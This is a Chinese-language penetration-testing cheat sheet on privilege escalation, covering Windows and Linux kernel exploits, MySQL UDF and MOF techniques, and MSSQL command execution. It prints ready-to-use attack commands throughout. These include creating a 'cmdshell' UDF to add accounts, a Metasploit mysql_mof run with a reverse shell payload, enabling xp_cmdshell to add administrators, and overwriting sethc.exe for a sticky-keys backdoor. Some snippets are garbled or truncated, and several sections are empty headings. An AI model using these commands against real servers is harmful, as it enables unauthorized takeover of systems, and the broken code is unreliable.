滲透測試——提權方式總結

(內容整理自網絡)

一、 什麼是提權

提權就是通過各種辦法和漏洞,提高自己在服務器中的權限,以便控制全局。

Windows:User >> System
Linux:User >> Root

二、怎樣進行提權(提權的方式有哪些)

1.、系統漏洞提權(Linux、Windows)

2、數據庫提權

3、系統配置錯誤提權

4、權限繼承類提權

5、第三方軟件/服務提權

6、WebServer漏洞提權

1、系統漏洞提權

系統漏洞提權一般就是利用系統自身缺陷,用來提升權限。爲了使用方便,windows和linux系統均有提權用的可執行文件。

Windows的提權exp一般格式爲MS08067.exe;
Linux的提權exp一般格式爲2.6.18-194或2.6.18.c。

(1)Windows提權

1.1> 漏洞編號命名格式

Windows系統漏洞編號命名格式爲:MS08067

其中:MS是Micosoft的縮寫,固定格式;08 表示年份,即2008年發佈的漏洞;067 表示順序,即當年度發佈的第67個漏洞。

1.2> 使用exp提權

在日常滲透測試過程中,我們常常會先是拿到webshell再進行提權。所以提權腳本也常常會被在webshell中運行使用。

那麼我們如何知道使用哪個exp來提權呢?

我們可以使用systeminfo命令或者查看補丁目錄,查看補丁記錄,來判斷有哪個補丁沒打,然後使用相對應的exp進行提權。

KB2645640   MS12-009
KB2641653   MS12-018
KB952004     MS09-012 Pr.exe
KB956572     MS09-012 巴西烤肉
KB971657     MS09-041
KB2620712   MS11-097
KB2393802   MS11-011 ms11011.exe
KB942831     MS08-005
KB2503665   MS11-046 ms11046.exe
KB2592799   MS11-080 ms11080.exe

 

(2)Linux系統提權

Linux系統漏洞的exp一般按照內核版本來命名:2.6.18-194或2.6.18.c

形如2.6.18-194,可以直接執行;形如2.6.18.c,需要編譯後運行,提權。當然也有少部分exp是按照發行版版本命名。

使用exp

  • 一般情況下linux的本地提權要用nc反彈出來,因爲Linux下提升權限後得到的是交互式shell,需反彈才能進行下一步命令的執行。
  • 我們可以使用uname -a命令或者cat /proc/version,來判斷系統的內核情況等等,然後使用相對應的exp進行提權。

注:

  • 提權過程中需要爲你的提權exp賦權,chmod。
  • linux服務器很多情況下管理員會設置目錄權限,我們無法修改,但是一般/tmp/目錄不會被設置權限,這和windows下的tmp和回收站是一個道理,所以我們可以將exp存放到/tmp目錄下。

2、數據庫提權

數據庫提權是指:通過執行數據庫語句、數據庫函數等方式提升服務器用戶的權限。

首先我們要先有能力登入數據庫,所以通常我們拿到webshell之後要去網站目錄去找數據庫連接文件,常在形如xxx.conf或conf.xxx文件中。

(1)MySQL數據庫提權

MySQL數據庫一般是使用udf(用戶自定義函數)提權或mof(託管對象格式)提權。

1.1> udf提權(用戶自定義函數)

條件:
1、系統版本(Windows2000,XP,Win2003);
2、擁有MYSQL的某個賬號,且該賬號具有對msql的insert與delete權限;
3、具有root賬號密碼。

使用方法:
1、獲取當前mysql的一個數據庫連接信息,通常包含地址、端口、賬號、密碼、庫名等五個信息。
2、把udf專用的webshell傳到服務器上,訪問並進行數據庫連接。
3、連接成功後,導出DLL文件。

注:

  • Mysql<5.0,導出路徑隨意;
  • 5.0<=mysql<5.1,則需要導出至目標服務器的系統目錄(如:system32),否則在下一步操作中你會看到“No paths allowed for shared library”錯誤;
  • mysql>5.1,需要導出dll到插件路徑,例如:D:\Program Files\MySQL\MySQL Server 5.1.3\lib\plugin
  • 若mysql>=5.0,語句中的DLL不允許帶全路徑,如果在第二步中已將DLL導出到系統目錄,那麼你就可以省略路徑而使命令正常執行,否則將會看到”Can’t open shared library“錯誤。
  • 如果提示“Function ‘cmdshell’ already exists”,則輸入下列語句可以解決:drop function cmdshell;

4、使用SQL語句創建自定義函數。語法如下:

Create Function 函數名 returns string soname '導出的DLL路徑';
eg: Create Function cmdshell returns string soname 'udf.dll';

功能函數說明:

  • cmdshell 執行cmd;
  • downloader 下載者,到網上下載指定文件並保存到指定目錄;
  • open3389 通用開3389終端服務,可指定端口(不改端口無需重啓);
  • backshell 反彈Shell;
  • ProcessView 枚舉系統進程;
  • KillProcess 終止指定進程;
  • regread 讀註冊表;
  • regwrite 寫註冊表;
  • shut 關機,註銷,重啓;
  • about 說明與幫助函數;

5、創建函數成功後,就可以通過sql語句調用它了。

語法如下:
select 創建的函數名 ('參數列表');
eg: select cmdshell("net user nsfocus Nsf0cus /add");創建一個用戶nsfocus,密碼爲Nsf0cus

6、函數使用完後,我們需要把之前生成的DLL和創建的函數刪除掉,但要注意次序,必須先刪除函數再刪除DLL。

刪除函數的語法如下:
drop function 創建的函數名;
eg: drop function cmdshell;

整體思路:

  • 導出C:\windows\udf.dll
  • Create Function cmdshell returns string soname 'udf.dll';
  • select cmdshell('whoami')
  • drop function cmdshell

1.2>  Mof提權(託管對象格式)

提權c:/windows/system32/wbem/mof/

  • use exploit/windows/mysql/mysql_mof
  • set password xxx
  • set username xxx
  • set rhost xxx
  • set rport xxx
  • set payload windows/shell_reverse_tcp
  • set lhost xxx
  • set lport xxx
  • exploit

(2)Mssql數據庫提權

Mssql數據庫提權總結

在SA權限下

  1. 存在xp_cmdshell時
    使用xp_cmdshell執行命令添加用戶,當出現錯誤可以恢復和開啓xp_cmdshell
  2. xp_cmdshell無法使用時
    使用sp_OACreate執行命令,同樣當出現錯誤可以恢復和開啓
  3. 當執行命令無法使用時可以用沙盒提權 (使用xp_regwrite和openrowset)
  4. 當只有xp_regwrite可用時可以劫持粘滯鍵(sethc.exe)
    使用xp_regwrite修改註冊表

DBA權限下

  1. 備份到網站目錄
  2. 通過備份文件到啓動項提權

2.1> SA口令獲取方法

2.1.1 Webshell或源碼獲取

一般在網站的配置文件中有存放明文賬號密碼,常用配置文件名如:

conn.aspx
config.aspx
config.php
web.config
.........

一般格式如:

server=localhost;
UID=sa;
PWD=shadowflow

2.1.2源代碼泄露

網站源碼泄露情況主要以程序員上傳代碼到git等開源平臺或更新代碼時未刪除備份文件(.svn、.git、.bak),以及運維人員打包源代碼到網站服務器(www.rar等)。

2.1.3嗅探

在局域網中使用cain等工具進行arp嗅探的時候可以抓取到1433端口的數據庫明文登錄密碼

2.1.4口令暴力破解

利用mssql暴力破解工具對mssql進行暴力破解,一旦成功將獲得sa相應權限

2.2> 常用SQL Server提權語句

查看數據庫版本:select @@version

查看數據庫系統參數:exec master..xp_msver;

查看用戶所屬角色信息:sp_helpsrvrolemember

查看當前數據庫:select db_name()

顯示機器上的驅動器:xp_availablemedia

查看當前賬戶權限

select IS_SRVROLEMEMBER('sysadmin') #判斷是否爲sa權限

類似serveradmin,setupadmin,securityadmin,diskadmin,bulkadmin

select IS_MEMBER('db_owner') #判斷是否爲dbo權限

添加用戶

exec master.dbo.sp_addlogin test,password #添加用戶

exec master.dbo.sp_addsrvrolemember test,sysadmin #加權限

啓動停止服務

exec master..xp_servicecontrol 'stop','test'

exec master..xp_servicecontrol 'start','test'

檢查功能

SELECT count(*)FROM master.dbo.sysobjects WHERE name='xp_cmdshell'

xp_cmdshell, xpregread,sp_makewebtask,xp_subdirs,xp_dirtree, sp_addextendedproc


xp_cmdshell

1、開啓xp_cmdshell存儲過程

exec sp_configure 'show advanced options',1;RECONFIGURE;
exec sp_configure 'xp_cmdshell',1;RECONFIGURE;

2、關閉xp_cmdshell存儲過程

exec sp_configure 'show advanced options', 1, RECONFIGURE;
exec sp_configure 'xp_cmdshell',0;RECONFIGURE;

3、xp_cmdshell執行命令

exec master..xp_cmdshell 'ver'
exec master.dbo.xp_cmdshell 'net localgroup administrators test /add'

4、恢復xp_cmdshell

exec sp_dropextendedproc 'xp_cmdshell'

dbcc addextendedproc ("xp_cmdshell","xplog70.dll) OR dbcc addextendedproc ("xp_cmdshell","d:\Program Files\Microsoft SQL Server\MSSQL\Binn\xplog70.dll");EXEC sp_configure 'show advanced options', 0 --

sp_OACreate

1、開啓sp_OACreate
exec sp_configure 'show advanced options', 1;RECONFIGURE;
exec sp_configure 'Ola Automation Procedures' , 1;RECONFIGURE;

2、關閉sp_OACreate
exec sp_configure 'show advanced options',1;RECONFIGURE;
exec sp_configure 'Ole Automation Procedures',0;RECONFIGURE;

3、禁用advanced options
EXEC sp_configure 'show advanced options',0;GO RECONFIGURE;

4、sp_OACreate執行命令

DECLARE @js int
EXEC sp_OACreate 'ScriptControl',@js OUT
EXEC sp_OASetProperty @js,'Language','JavaScript'
ActiveXObject("Shell.Users");z=o.create("user");z.changePassword("pass","");z.setting("AccountType")=3;'

5、sp_OACreate移動文件
declare @aa int
exec sp_oacreate 'scripting.filesystemobject' @aa out
exec sp_oamethod @aa, 'moveFile',null,'c:\temp\ipmi.log','c:\temp\ipmi1.log';

6、sp_OACreate複製文件

declare @o int

exec sp_oacreate 'scripting.filesystemobject', @o out

exec sp_oamethod @o,'copyfile',null,'c:\windows\explorer.exe','c:\windows\system32\sethc.exe';

7、sp_OACreate刪除文件

DECLARE @Result int

DECLARE @FSO_Token int

EXEC @Result = sp_OACreate 'Scripting.FileSystemObject', @FSO_Token OUTPUT

EXEC @Result = sp_OAMethod @FSO_Token, 'DeleteFile',NULL,'c:\Documents and Settings\All Users\ [開始] 菜單\程序\啓動\user.bat'

EXEC @Result = sp_OADestrop @FSO_Token

8、wscript.shell執行命令

9、Shell.Application執行命令

10、sp_oacreate 替換粘貼鍵

沙盒執行命令

openrowset開啓

openrowset關閉

沙盒執行命令

註冊表篡改

註冊表劫持粘貼鍵

3、系統配置不當提權

利用配置不當提權

  •     前提:已經成功滲透進目標系統;
  •     相比利用漏洞提權,是更常用的方法;
  •     在大部分企業中,會將系統的漏洞即時進行補丁更新,難以通過系統自身我的漏洞進行入侵;
  •     可以查找系統中以system權限啓動的服務或應用,可以嘗試將其替換或者反彈shell的方式提權;
  •     可以查找NTFS權限允許users修改刪除的應用,利用配置不當進行提權;
  •     代碼中是否有過濾參數的操作等都可以加以利用,進行提取;

4、權限繼承類提權

開機啓動項提權?
windows開機時候都會有一些開機啓動的程序,那時候啓動的程序權限都是system,因爲是system把他們啓動的,利用這點,我們可以將自動化腳本寫入啓動項,達到提權的目的。

5、第三方軟件/服務提權

6、WebServer漏洞提權

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章